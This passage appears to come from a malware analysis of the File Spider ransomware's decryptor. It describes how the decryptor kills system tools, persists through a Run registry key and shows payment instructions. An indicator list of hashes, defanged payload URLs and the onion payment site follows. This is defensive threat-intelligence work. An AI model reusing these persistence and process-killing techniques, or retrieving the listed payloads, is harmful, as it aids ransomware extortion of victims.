The dec.exe is executed with single argument "spider".
It creates a mutex of name "SpiderForm" to avoid execution of multiple instances.
The argument provided to this must be "spider" or "startup" for further execution.



Then it creates a thread which terminates all the following processes.
"taskmgr", "procexp", "msconfig", "Starter", "regedit", "cdclt", "cmd", "OUTLOOK", "WINWORD", "EXCEL", "MSACCESS"

After that it makes a run entry (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run) for dec.exe to run it on startup.
Name : "Starter"
Value : "%APPDATA%\Spider\dec.exe startup"

In the last, it will start the form which contains payment instructions and decryption tool.





Payment site of file spider ransomware is spiderwjzbmsmu7y[.]onion




IOCs :

MS word document : de7b31517d5963aefe70860d83ce83b9
Encrypted enc.exe : hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js
Encrypted dec.exe : hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js
enc.exe : 67D5ABDA3BE629B820341D1BAAD668E3
dec.exe : fdd465863a4c44aa678554332d20aee3
Payment site : spiderwjzbmsmu7y[.]onion
Video : hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1